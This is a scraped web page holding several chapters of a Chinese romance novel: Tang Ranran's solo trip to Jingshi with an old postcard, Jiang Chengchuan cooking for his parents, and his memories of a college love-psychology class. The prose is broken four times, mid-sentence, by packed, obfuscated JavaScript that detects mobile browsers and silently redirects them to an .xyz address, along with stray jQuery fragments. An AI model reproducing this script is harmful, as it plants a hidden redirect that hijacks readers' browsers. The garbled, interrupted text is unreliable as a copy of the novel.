35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925370|160471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 如果从两个人高中认识算起,一晃十四年的时间,确实是老友,只不过此前联系稀薄。 结账时,两个人一前一后亮出了付款码,服务员拿着POS机左看一眼,右看一眼,其实心里最烦这种抢着付钱的。 不过服务员只犹豫了三秒,“嘀”一声,支付成功,毕竟江成川盯人的眼神实在……有种不让他付钱就要把人店砸了的威胁感。 “不是说好我请客吗?”出了餐厅,汤冉冉不解地问。 “你请过我一顿饭了,还记得吗?我这也算是礼尚往来。”江成川指的是他去报社送录音笔那回,汤冉冉去吃了一家叫南城小炒的快餐店。 他这可真是主打一个不亏不欠,汤冉冉不知道是该开心还是该难过。 “当然,我倒是有个别的请求。”江成川扭头看她,神情认真地问,“国庆有时间吗,南中校庆那天想约你一起回去看看。” “啊?”汤冉冉一愣,就像是坐过山车一样,大脑还没从刚才的情绪里转换过来,“哪天来着?” “5号,可以吗?” “好好好……我没问题。”汤冉冉懵懵地朝他呲牙一笑,心想就这么约上了? “那具体的时间,咱们到时再定。”反观江成川一副泰然自若的样子,仿佛只是结束一场普通的商务洽谈。 周末的商场里,不乏成双入对的小年轻,江成川和汤冉冉并肩走在一起,也像是一对普通情侣。 “对了,如意姐的心脏病,我问了医生朋友他说不见到病人不好确诊。”汤冉冉另起了个话题。 “那任医生给其他建议了吗?” “你也认识任医生?” “哦……可能是你上次提起,我就记住了。”江成川给自己捏了一把汗,他总不能说是去翻了南城医院官网好几年前的新闻报道才认识的任医生吧。 万幸汤冉冉并没有多想,接着说:“任医生说可以让如意姐申请医疗援助,他也和当地医院的同行联系了,病情不太乐观。” “好,那我去做如意姐的工作,找时间把她和浩天都接来南城转转。”江成川揽下了这个重担。 “嗯……会让你觉得麻烦吗?” “不会。”江成川回答得很坚定,“虽然每个人的力量有限,但行动起来就有发生好的改变的可能,我应该谢谢你给了我这个勇气。” 这话让谁听了都心里暖暖的,只是实在过奖了,汤冉冉没觉得自己有这么多能量。 她不由想起那天体检完去找任医生,在表达了自己的想法后,任飞也说过安慰她的话: “医学解决不了所有问题,尽力就好。” 相比之下,似乎江成川更懂她的心,也更能让她安心。 两个人就这么在商场里漫无目的地溜达,从四楼到一楼,快走到门口的时候,看见商场的工作人员正抬着一张桌子往外搬,不知道要布置什么。 走近了才看清,原来是划定了一个国庆嗨玩集章区,桌子上摆放了一摞小卡片,十几个卡通印章和一张集章攻略图。 游戏规则是,来商场的顾客先从门口领取卡片,然后挑选自己心仪的印章盖章,就可以持卡片去对应门店享受消费折扣。 四方形的硬质卡片,圆形的红色章印。 突然之间—— 汤冉冉的心里冒出来一个想法。 15. 鱼之乐 国庆假期的第一天,汤冉冉已经人在京市。 前一晚,她在12306软件上候补了南城到京市的所有车次,订了两晚的酒店,凌晨收拾好了行李箱。 惴惴不安了一整夜。 终于,早上七点整,她收到了候补成功的短信,距发车时间还有6小时。 长舒一口气,汤冉冉才和宋舒说临时决定去京市玩几天,谎称到了之后那边有朋友接应,让二老不用担心,然后匆匆出了家门。 从南城到京市,高铁两个小时左右,中间只经停一站。 车厢里,乘客的说话声和手机的外放声此起彼伏,她戴着有线耳机,循环播放着一首陈奕迅的《好久不见》。 “我来到,你的城市……” 车窗外,玉米地和麦田急速后退,汤冉冉的心一路飞驰向前。 “走过你来时的路……” 京市,学生时代的江成川待了7年的城市,那张遗忘在时光里的明信片寄出的城市。 此刻,就在她的脚下。 下了高铁,汤冉冉换乘地铁先去酒店办了入住,刷房卡进房间,她感觉世界总算清净下来。 国庆出游高峰,各大交通枢纽和景区,人山人海,她仿佛是一路被拥着挤着到了京市。 因为是一个人旅游,出于交通和安全的考虑,汤冉冉住在了京市的繁华地段,一晚的房费要比平时贵了两倍多。 她有些疲惫地躺在酒店的软床上,一边休息一边刷着外卖软件,看了一圈下来,附近也没什么想吃的,想吃的配送距离又太远,不如直接出去找点东西吃。 进入十月,白天和夜晚的温差逐渐显现,汤冉冉出门前又套了一件牛仔外套,补了个口红。 晚上六点半,外面很热闹,双向车道上的私家车川流不息,街上年轻人的打扮也相当潮流。 京市的繁华程度让人炫目,完全符合汤冉冉的认知。 她在街角的一家烧饼铺停了下来,买了两个糖火烧,有点烫手,店家说是刚打出来的。 糖火烧的外皮酥脆,一口咬下去嘴角就沾了饼渣,接着第二口,麻酱的香浓和红糖的醇厚在嘴巴里充分咀嚼融合,汤冉冉在心里感叹:“碳水化合物实在美妙!” 就这么随走随吃,路过一个便利店,她又进去买了一罐北冰洋饮料,酸酸甜甜桔子味,连喝了几口,“嗝——”气儿还挺足。 又走到一个十字路口的时候,汤冉冉看时间不早了,就掉头往回走。 回去的路上,她在心里捋了一遍明天的行程,明天上午先去景山公园,下午去什刹海,晚上去三里屯转转。 因为是临时起意,一些需要提前预约的场馆,汤冉冉现在从手机上一查,已经显示约满的状态。 她倒也没觉得遗憾,毕竟还有的是时间,以后再找机会来就是了。 回酒店后,她换上睡衣,先和宋舒打了个视频电话报平安,然后用手机放着路上听的那首《好久不见》去洗漱。 睡觉前,她从行李箱拿出一个信封,信封里是那张明信片。 几周前,她把明信片从老房子的信报箱里拿回家,一直放在卧室的书桌抽屉里,又怕宋舒来她屋里找东西的时候无意看见,就找了个印着南城日报的信封装了起来。 汤冉冉倚在床上,只留了酒店床头的阅读灯,光线昏黄,照着明信片上的字迹有些斑驳。 右下角是落款时间,十年了,是一段多么漫长的时间呢? 足够她念完大学,摆脱稚气,步入职场,成长为别人口中能扛版面的汤记者。 十年,又恍若一瞬,明信片上江成川写下的那个问题,在她这里依然有效。 汤冉冉用手指摩挲着纸面,不敢想它曾经承载了一份怎样的期待,又怎么落空,成为无望的等待。 好在时间总有安排,就像她没想过有一天会独自来到京市,但她就是来了。 关了阅读灯,视野里一片漆黑,她把明信片放在了枕头下面。 一夜无梦。 第二天一早,汤冉冉换了一身休闲运动装,扎了一个高马尾,背了一个白色帆布包。 明信片被重新放回信封,然后装进帆布包的内侧口袋里。 或许是因为国庆假期,酒店餐厅提供的早餐菜品相当丰富,而且极有京市特色。 汤冉冉要了一小份现做的炸酱面,又夹了一块驴打滚和豌豆黄,找了个靠窗的位置坐下。 天气晴好,阳光明亮,空气中浮动的尘埃若隐若现。 她慢悠悠地吃着早餐,大脑是放空的状态,在外人看来多少有点形单影只的意味。 炸酱面还剩一口的时候,汤冉冉觉得太咸吃不下了,喝了口热水顺顺嗓子,拿出手机搜索去景山公园的路线。 导航软件显示,先坐110路公交,再转109路,在神武门公交站下车。 下车后走个一百来米,汤冉冉就看到了景山公园的南门,售票处写着门票2元,刷身份证入园。 “我们现在来到的就是景山公园,是一处历史悠久、保存完整的宫苑园林。” 她此行的目的不是爬山,也就不着急往前赶路,跟在一个老年旅行团的队伍后面,还听了一耳朵讲解。 按照推荐的路线,从后山腰东侧上山,石阶相对平缓。山上树木葱郁,绿意盎然,越往上攀越有辽阔之感。 爬到山顶,汤冉冉深深吸气又吐气,感叹眼前的风光无限好。 “哎小姑娘,帮我们拍个照吧?”旅行团里的一对老两口轻轻拍了汤冉冉的肩膀一下。 “行,您们站过去吧。”汤冉冉接过手机,半蹲下来找角度。 老奶奶站得靠前一些,笑容灿烂,老爷爷两只手轻轻抚在她的肩头,目光柔和。 汤冉冉看着手机里的画面,嘴角上扬,“3——2——1,茄子!”她连拍了几张。 “要不先看看?” “好好好,哎呦拍得真好!谢谢你啊,小姑娘。”老爷爷相当满意,来回滑动着相册的照片给老奶奶看,又问,“你是一个人出来玩啊?” “对,趁假期出来逛逛。” “年轻就是好啊,敢玩敢闯,有的是胆量和劲头。”老奶奶接了句话,眼神里充满了慈祥,仿佛从汤冉冉的身上看到了自己年轻的模样。 “哈哈,看您和爷爷一起出来旅游,肯定也很幸福!” “那是,老伴老伴,老来相伴。”老奶奶一手挽上老爷爷的胳膊,另一只手亲昵地拉起汤冉冉的手腕,“小姑娘,你性格这么好,爷爷奶奶也祝你幸福!” 听到这句话,汤冉冉突然很想哭,或许是因为陌生人的真诚祝愿,或许是她真的希望那份属于她的幸福能快些降临。 不远处,旅行团的导游招呼着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925371|160471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家集合,汤冉冉和老两口道别,自己又留在山顶上吹了会风。 下山时,走西侧下山道,路过寿皇殿,然后从东门出园。 公园的拐角处,有一家文创店,装潢很新,显然不是十年老店。 汤冉冉走过去,撩开门帘一看,不大的店铺里挤满了挑选书签、冰箱贴、记事本的游客,她踮脚环视货架一圈,然后目标明确但脚步艰难地挪到摆放明信片的小角落。 明信片的样式五花八门,大概是集纳了京市各大景区的热销款,当然摆放数量最多的,是印有景山公园风景的一套明信片。 汤冉冉从帆布包里小心翼翼取出自己的那张明信片,看了一眼上面的图案,又看向货架上的明信片,她想找个看起来大差不差的。 就这张吧。 她从货架上抽出一张,印有景山公园的全景图,又拿近了和自己手上的比了比,然后拿着去了收银台。 “你好,女士,明信片需要给您邮寄吗?” “哦不用了,谢谢。” 明信片上还没有写字,汤冉冉也还没有准备好。 付款后,她把两张明信片合在一起,装回信封,再次放进帆布包的内侧口袋。 走出店门后,汤冉冉又回头看了一眼,像是完成了一场神圣的秘密交接。 午饭是从路边的包子铺随便解决的,她心情有些说不上来的激动,吃不下东西。 然后坐上124路公交,继续她的京市漫游,目的地是什刹海。 什刹海不是海,而是一个大湖,大致由前海、后海、西海组成。 人群熙攘,汤冉冉沿着湖边走,湖面平静,湖水清澈,低头能看见一群群黑灰色的小鱼苗在水草里愉快穿游。 一时之间,她竟有些懂了庄子的话,子非我,安知我不知鱼之乐? 反正她现在是真的快乐。 走到银锭桥上,汤冉冉想起来拍了张风景照,然后发给了宋舒,“妈,什刹海打卡了。”完成每日的行踪汇报。 人在真正的美景面前,眼睛看还觉得不够,是想不起来拍照的。 京市的美,可以像大家闺秀,又可以像小家碧玉,不管哪一种,都美到了汤冉冉心坎里。 一直走到望海楼,汤冉冉感觉小腿酸胀,脚后跟痛,手机上显示今天的运动步数已经过万,胃里也有了饥饿感。 按照计划,她打车直奔三里屯,准备饱餐一顿。 黄昏时分,三里屯的热闹才刚刚开始,汤冉冉没有犹豫地进了一家烤鸭店,多亏来的路上提前线上取号,省去了排队。 她点了半只烤鸭,附送荷叶饼和酱料,荤素搭配,又点了拌豆苗和宫廷杏仁豆腐,营养健康。 透亮的鸭皮蘸上白砂糖,直白的甜,油脂的香,好吃到汤冉冉闭上眼睛细细品尝,不腻,完全吃不腻。 豆苗咀嚼清脆,杏仁豆腐入口爽滑,她相当佩服自己的点菜水平。 服务员一开始还担心这位客人一个人会拘束,频繁地过来给她添茶水,后来看她一个人吃得不亦乐乎,才放下心来。 临走时,服务员送给汤冉冉一份伴手礼,里面是几颗独立包装的冻干山楂球。 她含了一颗在嘴里,舌尖先感受到甜,然后是恰到好处的酸劲儿。 “我真的太喜欢京市了!” 汤冉冉感到一种前所未有的畅快。 16. 厨艺表演 假期第三天,汤冉冉的返程票是下午一点半,满打满算,她在京市只待了48个小时。 早上醒来后,她快速去吃了个早餐,提前退了房。 上午没有游览的安排,她打算去买点伴手礼和特产之类的,带回去给家里人和同事们分享。 汤东民爱吃稻香村的枣花酥,宋舒喜欢山楂锅盔,两个人昨晚还在微信上交代她别忘了捎点回来。 从酒店出发坐4路公交,在张自忠路站下车,步行一段距离,汤冉冉拖着行李箱进了稻香村零号店。 店铺里,人声喧嚷,生意火爆。 作为来京市旅游的必买伴手礼,游客大多是慕名而来,一位店员繁忙中抽出身,热情招呼了一声:“您要点什么,女士?” 柜台里摆放的糕点,精致小巧,模样喜人。她凭眼缘挑了几块,然后端着托盘去结账。 几个店员正在给别的顾客打包礼盒,“你好,我想问一下,有比这个大一点的礼盒吗?”汤冉冉想到后天要去参加南城中学的校庆活动,考虑着要不拎一个去送给老师。 “有有有,您从这边选。” …… 一刻钟后,汤冉冉走出店门,一手拖着行李箱,行李箱上搭着礼盒,另一只手上拎着一兜散称的糕点,可谓满载而归。 鉴于实在行动不便,她便直奔高铁站。 检票、过安检,一通流程走完,汤冉冉找了个空位坐下,给宋舒发了条微信:“妈,已候车,请放心。” “好,知道了,看好手机。” 汤冉冉回了个“遵命”的表情包,关了对话框,刷起朋友圈里的动态。 有晒大餐的,有发定位在单位加班的,有拍天安门广场升旗的…… 还有人发了一张手机拍摄的月亮照片。 配文是:凸月,未满。 这条动态的发出人是江成川,他还是那个紫藤萝的头像。 汤冉冉划过去,又划回来,手指头在屏幕上犹豫了两秒,点了个赞。 另一边,江成川正推着购物车在超市的收银台排队,他中午要回父母家,来买些即食的东西和日常营养品。 付款时,他看到朋友圈的点赞提醒,推着购物车往旁边一停,发了条消息给汤冉冉: “在休息?” “嗯,我们有同事值突发,你呢?”汤冉冉没说自己去京市的事。 “在超市,等会回我爸妈家。”江成川又拍了一张购物车内的照片发过去,“扬言要给他们展示厨艺,在家练了两天,现在只能买点凉拌菜和肉类熟食撑撑场面……” “哈哈哈,不是吧~”汤冉冉在候车室笑出了声,把他发过来的图片放大了看—— 盒装口水鸡、现炸小酥肉、柠檬无骨凤爪、捞汁小海鲜,还有一袋鸡蛋挂面。 “真没想到我们雷厉风行的江组长,还能被一顿家常菜难住?”汤冉冉调侃他。 “惭愧惭愧,成事不足……”江成川给自己找了个台阶下,但他原本打出的一句话是: “还得烦请汤记者今后多关照我啊~” 转念一想,这话说得实在有些轻浮和油腻,他又一个字一个字地删掉了。 江成川摇头笑自己,在喜欢的人面前,再不苟言笑的人,都会变成摇尾巴求关注的小狗吧。 “对了,后天回南中的时间,我都可以。”江成川迅速换了个话题。 “那好,咱们十点钟在校门口见?” “好,到时见。” “嗯嗯,那就先预祝你厨艺表演圆满成功,好好表现!”汤冉冉又点开看那张购物车的照片,还是觉得有点可爱。 “有机会请您赏光品鉴。”江成川忍不住臭屁一下。 汤冉冉给他回了个冷漠的抱拳表情,言下之意就是“不必了”。 聊天结束,她一看时间,已经中午12点多了,还真觉得有点饿了。 汤冉冉抬头环视高铁站二层的餐饮店,然后低头果断在手机上下单了麦当劳,待她拎着大小行李坐扶梯,稍显狼狈地来到麦当劳柜台时,屏幕上正好蹦出她的取餐码。 热乎的麦香鸡汉堡配冰可乐,外脆里糯的咸口薯条蘸上丝滑的巧克力新地。 发挥稳定,诚不欺我,汤冉冉在用餐评价那里留言:超赞!麦门信徒又顺利打卡一家门店。 与此同时,江成川大包小提地爬了五楼,正要伸胳膊按门铃—— “来喽来喽……”江妈妈看见他在楼下停车,就来门口等了,“你说你回自己家还买这么多东西?我和你爸哪能吃得完?” 江成川心虚,抓紧换了鞋,拎着东西就往厨房躲,把推拉门一带,只留了一句: “妈,您就请好吧,保准到点开饭!” “哎我说你这孩子……”江妈妈在他这碰了壁,转头去书房找江廉理论,“老江,成川回来了,你也不出来吱一声?” 江廉摘了眼镜,把报纸往旁边一搁,饶有道理地说:“颐云啊,儿子好不容易回来一趟,一进门就奔厨房做饭,这多孝顺,咱别去打扰他。” “成,老江护着小江,你们爷俩算是抱团了。”章颐云只好使出自己的杀手锏,“那你等会可好好关心一下你宝贝儿子的终身大事,拐个年来他就30岁的人了,还整天一个人瞎晃悠。” “又提这茬儿,咱儿子心里有数着呢。” “你是他肚子里的蛔虫啊?他想啥你全知道。” “哎——颐云,这就是你抬杠了。”江廉只好立马服软,“行行行,我等会就问,吃饭就问。” 厨房里,江成川手忙脚乱,还不知道自己将要面临的饭桌拷问。 他从碗柜里拿出四个圆盘子,把买的熟食依次倒进去,心想这就凑出四个菜了,还全是荤的。 事成一半,江成川心情松弛下来,起锅烧水,做个西红柿鸡蛋面。 先把西红柿在热水里浸泡一会,这样皮一剥就掉,再放到玻璃碗里捣碎,江氏无添加色素和防腐剂的番茄酱完成。 炉子上的水开了,倒入番茄酱,下挂面,江成川怕不够吃,一会往锅里加几根,一会往锅里加几根,眼看着就要全坨在一起了。 “没事,大不了晚上接着吃。”他在心里安慰自己,转身从冰箱里拿了三颗鸡蛋,先在灶台边轻轻一磕,然后把鸡蛋打到咕嘟咕嘟的面条上。 “对,加盐加盐。”一边念叨着,他又滴了几滴香油,加了一小勺味精。 看着鸡蛋煮熟成形,江成川才拿筷子搅动,热气上浮,他调了小火,扭头朝厨房外面喊:“两位领导,请准备用餐。” 饭桌上,三碗鸡蛋面,江成川出品,四道熟食,超市出品,还有一盘柚子,宋舒早上剥好包了保鲜膜。 感觉还少点什么,整点儿喝的?江成川从冰箱拿了瓶椰子水,又从茶几下面数了三个纸杯一并拿过来。 “爸妈,国庆节快乐,身体健康。”坐定后,江成川举杯,颇有一家之主的风范,“好长时间没来看你们了,我认错,我检讨,我改进。” “你有这份孝心就行,我和你爸知道你工作忙。”章颐云也举杯,等放下时,用胳膊肘悄悄碰了江廉一下,眼神示意他赶紧接话。 “对对对,”赶鸭子上架,江廉被迫放下筷子,找了个话题切入,“我看前几天报纸上登了你们公司的报道,还挺长一篇,是你接受的采访?” “对,”江成川本来也打算说这个事的,顺水推舟地问,“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925372|160471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您对汤冉冉有印象吗?” “谁?”江廉没反应过来,夹了个凤爪在嘴里嚼,感觉刚从哪看见过这个名字。 “哎呀,老江,就是报纸上的那个记者啊!”还得是章颐云,不仅猜中了答案,还咂摸出了点别的,“怎么?你俩早就认识?” 江成川抿嘴一笑,语气上扬地说:“妈,我和这位汤记者是高中同学来着,只不过她高三选的文科,可能您没印象了。” “哦是吗?怪不得觉得这名字熟悉呢,你看我这记性。”章颐云这下算是想起来了,激动着比划,“就是当时你运动会摔倒,还给你送水的那个女同学啊……” “妈——你怎么就不记我点好?”江成川嘴上抱怨,行动上却是拿起筷子,从一盘捞汁小海鲜里挑了个鲍鱼夹给章颐云,“后天南中校庆开放日,我们约着一块回去。” 听到这句话,江廉一愣,冲着章颐云挤巴眼,意思是“我没说错吧!咱儿子心里有数。” 章颐云脸上装作没看见,其实心里乐开花,嘱咐道:“儿子,那你可得好好把握机会,啊不是……好好感谢人家,看把稿子写得多好。” “知道了,妈。”江成川答应得痛快,他能感觉出来江廉和章颐云都挺喜欢汤冉冉的,当然了,他也是。 午饭后,江爸江妈回卧室休息,江成川收拾好厨房,躺在沙发上玩手机。 微信弹出一条消息—— “江兄,这个月16号有空吗?兄弟我要结婚了,请你来喝个酒。” 江成川蹭地从沙发上弹起来,发过去一条语音问:“旭子,你啥情况?你女朋友要留在南城了?” “可不,最近才定下来。你有空没?给个准信儿。” 旭子,大名赵旭,江成川的高中同学,当时俩人前后桌,借着传试卷的功夫都能聊上几句。毕业后,联系自然而然地少了,但感情还在。 这些年,最广为流传的一段佳话就是旭子和他的异地恋女朋友,俩人是在一场杂技剧演出的后台认识的,他是观众。 当初,赵旭在俄罗斯留学,偶然看见有中国的杂技艺术剧院要来莫斯科演出,本着好不容易能见到同胞的心情,他还买了一张前排票,一场看下来,完全被人家姑娘的优雅舞姿给折服了。 直到谢幕散场,他意犹未尽,回宿舍之后认真搜索了剧团的资料,从此开启了他的追求大计——剧团到哪演出,他就尽可能地去哪当观众,还得是前排的那种。 一来二去,他先混个脸熟,然后顺理成章地混进后台送鲜花,再努努力和剧团演员搭上话,最终一颗诚心打动了人家姑娘,抱得美人归。 但现实问题也摆在眼前,赵旭打算毕业回国后,就留在家乡南城发展,人家姑娘还是继续跟着剧团满世界巡演,俩人总凑不到一起也够心烦。 要不说,所爱隔山海,山海皆可平。 感情贵在一个互相理解,赵旭一口一个“没关系,我愿意等”,最后说得他女朋友都不忍心听了,所以决定退出剧团,在南城找个舞蹈学校当老师。 “恭喜恭喜,一定去!”江成川满口答应,“到时候给你俩报个大红包,放心放心。” “仗义!还是江兄靠谱!”赵旭没和他多聊,说还得去确认其他宾客的信息。 江成川重新躺回沙发上,点开赵旭分享给他的电子邀请函,手机上立时响起浪漫的背景音乐,一张张婚礼写真像幻灯片一样顺序播放。 画面的最后一页,展示的是婚礼的日期和举办地,在南城山庄,一场草坪婚礼。 不知道循环了多少遍,他才熄灭屏幕,用手按了按太阳穴。 关于要办一场怎样的婚礼,江成川也想过这个问题,那个时候他还在读大学。 17. 婚礼想象 大一下学期,京市的电子科技大学新开了一门选修课,爱情心理学,1.5个学分。 课程内容包括恋爱心理和婚姻心理两部分,但考虑到听课群体是大学生,所以侧重于对恋爱期的心理状态的讲授。 江成川也关注到了,但并没有打算选。 一是他并没有谈恋爱的打算,二是他不喜欢运用学科知识分析个人感情。 最重要的是,这会让他反复想起汤冉冉,想起那张杳无音信的明信片。 先是志得意满的期盼,后是小心翼翼的守望,终是郁郁寡欢的遗忘。 明信片寄出后的很长一段时间里,他品尝着心情跌宕的滋味,又苦又酸。 宿舍里,江成川滑动鼠标上的滚珠,果断跳过了爱情心理学这门,想看看其他的选修课有没有感兴趣的。 “川子,先理论而后实践。” “你不能一朝被蛇咬,十年怕井绳啊。” 与江成川形成鲜明对比的,是他的三位室友,一个个都摩拳擦掌,甚至定好了闹钟,摆出了势在必得的架势。 “三缺一,川子你也凑个热闹!” 这又不是打麻将? 江成川本不打算回应的,但他的室友也是犟上了,说什么兄弟义气不肯让他自己落单。 一个人过来拉他的椅子,一个人过来抢他的鼠标,一个人过来直接合上了他的笔记本电脑。 “好好好,选选选,一起一起。”江成川觉得自己要是不答应,可能下一秒就要被逐出宿舍。 “哎——这就对了吗!” “有道是,工欲善其事,必先利其器。” “川子,这种课你多听听,保准儿没错!” 如此,宿舍四个人意见达成一致,目标明确地要拿下这门高人气的选修课。 兄弟同心,其利断金。 爱情心理学的第一堂课,江成川和三位室友并排坐在阶梯教室的前排,一声接着一声答“到”。 薛老师放下花名册,抬头看着台下的同学们,不得不承认这是理工科学校的特色,男生人数占了大半。 “OK,先做个自我介绍,我叫薛晴,是这学期爱情心理学的任课老师。”薛老师看起来三十岁出头,打扮新潮,带了副无镜片的黑色镜框,金黄的长发烫了大破浪。 “大家今天坐在这,我站在这,是一种互相选择的结果。”薛晴撩了下头发,并不是传统意义上的知性美,而是一种张扬洒脱。 她接着问:“这意味着什么?” “意味着,我们将在这学期每周四的下午两点,在这间301教室,共同度过2个小时。” “不严格地说,恋爱和婚姻也是这样。” “在一段时间内,互相选择,互相陪伴。” 江成川没想到薛老师这么自然地就切入正题,他想溜号的心思少了大半,板正坐姿,认真听起来。 新课程的第一堂课,通常是介绍教学大纲和课程要求,薛晴也不例外。 “我对这门课的要求就是,你可以偶尔不来,但不可以停止思考。” “现在就可以告诉大家,我们期末考试不考知识点,而是每个人制作一份爱情计划书。” 爱情计划书?讲台下一阵哗然。 薛晴没做解释,继续讲:“准确地说,从现在开始,你们就可以为拿到这门课的学分而准备了。” 江成川握着笔的手一动,他在思考薛晴刚才说的话,爱情是可以计划的吗? 如果能,那世界上就不会有那么多擦肩而过和求而不得,就不会有人以为获得真爱却是大梦一场。 即便他管不了别人怎么样,至少自己能求个明白,不会像现在这样彷徨。 室友戳了他一下,问:“川子,想什么呢?看你走神儿了。” “想怎么拿到学分。”江成川小声嘀咕,“这样还不如闭卷考试。” 比起客观的答案和得分点,爱情计划书要麻烦得多,因为没有复习范围,或者说复习范围是交卷前经历的全部人生。 薛晴倒是一脸轻松,笑着说:“大家现在有疑惑很正常,那就带着疑惑来听课,这门课不能保证在座的每一位同学都爱情圆满,但至少会明白爱情不高深也不高远。“ 好一个循循善诱。 “你别说,这老师有两把刷子。”室友凑近江成川说。 “那今天就先请大家思考一个问题,下次课我们再进行交流。”薛晴从粉笔盒里抽出一根,转身在黑板上写道—— “请描述你心目中的婚礼。” 没等薛晴回身,讲台下又是一片哗然。 江成川在本子上记下这个题目,然后看了一眼教室前面挂着的钟表,离下课还有一刻钟,如果这位薛老师不拖堂的话,他能赶上四点半的家教课。 这个学期,江成川给自己找了份兼职,每周四和周六下午去给小学生辅导数学,每次两个小时,收费220块。 上家教的地方距学校有五六公里远,他通常是打车去,坐地铁回。该省就省、该花就花,江成川兼职不全是为了挣钱,而是想直观感受一下京市小学生的课业情况。 上个周六,他和这家人第一次见面,小男生看起来很乖,父母向他介绍说小孩学习成绩忽上忽下,感兴趣的就认真,不感兴趣的就敷衍。 今天是正式的第一堂课,江成川下了出租后一路狂奔,卡着点按响门铃。 门开后,他连说:“不好意思,差点迟到。” “没事的,辛苦了。”小男生的妈妈笑容和气,指着左手边的房间,“他刚放学,在屋里头呢。” “好。”江成川走过去,轻轻一推门就开了,小男生听到声音后扭头看他,有礼貌地喊:“江哥哥好。” “你好你好,咱们上周六刚见过。”他也打了个招呼。 小男生坐在儿童学习椅上,旁边已经摆好了另一把椅子,显然是为江成川准备的。 江成川把黑色双肩包往地上一放,掏出准备好的几张讲义坐过去,面前是一张宽敞的实木书桌。 桌角摆放的Led护眼灯发出柔和的光,左手边是切好的苹果块,右手边是赛车外形的笔盒,里面装着新学期刚买的文具。 “在写什么?感觉难不难?”江成川问。 “写数学老师课上讲的混合运算题,有点难……” “来,我看看。”江成川捏着卷子的一角,另一只手拿起铅笔圈了一处,“做得不错,只有这一道有点小问题,你看这个式子里用到了括号,那么就要先算括号里的内容,学校老师也是这么教的,对不对?” 小男生点头,听话地用橡皮把错误的答案擦干净,又认认真真地写上新答案,然后看向江成川,像是在问“这回算对了吗?” 江成川也冲他点头,然后比了个大拇哥,说:“嗯,真厉害!” 小男生腼腆地笑了,眨了下眼,说:“江哥哥,开学那天我帮同桌领新课本,她也是这么夸我的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925373|160471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我觉得她是世界上第二漂亮的女生。”小男生说话的时候,眼睛里亮亮的。 “那第一是谁呢?” “第一是妈妈。” 江成川被小孩子的纯真逗乐了,叉起一块苹果递给他,声音也变得柔软:“对,我们是小男子汉,要帮助别人,赞美别人。” “可是,江哥哥……” “嗯?” “爸爸喜欢妈妈,所以他们就结婚了,我也喜欢我的同桌,我能和她结婚吗?” “结婚?”江成川迟钝了下,没料到会从小学生的口中听到这样的词汇,灵机一动,“那你知道什么是婚礼吗?” 小男生反应了一会,自言自语地说道:“就是去大饭店吃饭,走的时候还可以拿糖吃?” “哈哈对,但也不完全是这样,那是别人的婚礼。” “别人的婚礼?”小男孩揉了下眼睛,像是认真理解了一番,“那我的婚礼,一定也要准备很多好吃的,我要准备一大盘棉花糖。” “棉花糖?” “对,江哥哥,你不知道我同桌最喜欢吃棉花糖了。” 江成川再次被小男生的纯真逗乐,或许小孩子尚未理解结婚的字面含义,却明白了喜欢一个人就是要对她好的实质。 上完家教,回学校的地铁上,江成川思考起薛晴留的课后题。 或许是因为小男生的“点拨”,他的脑海里浮现出关于心目中的婚礼的清晰轮廓。 江成川希望,婚礼发生在一个阳光明媚的春天,找一栋郊外的小别墅,邀请亲近的家人朋友相聚,他和新娘挽着手站在中间,深情款款地说出爱的誓言…… 对,还要布置上精致的甜品台,要有黑森林蛋糕、抹茶流心慕斯蛋糕…… 可以没有司仪,不必进行煽情的环节,两个人的幸福,两个人知道就好。 “咚”一声,手机从掌心滑落,砸在地毯上发出一声闷响,江成川也跟着抖了一下。 他在沙发上睡着了。 拾起手机,按亮屏幕看了眼时间,页面还停留在赵栋的电子婚礼请柬。 江成川抹了把脸,安慰自己—— 只今只道只今句,梅子熟时栀子香。 先想想今天晚上吃什么,总不能继续吃西红柿鸡蛋面了。 假期第四天,江成川临时召集组员去公司加班,个别外出旅游的同事就线上参会。 原因是,郑总节后第二天要出差,而江成川负责的关于香港盛凯科技的方案要赶在老总出发前报审一遍。 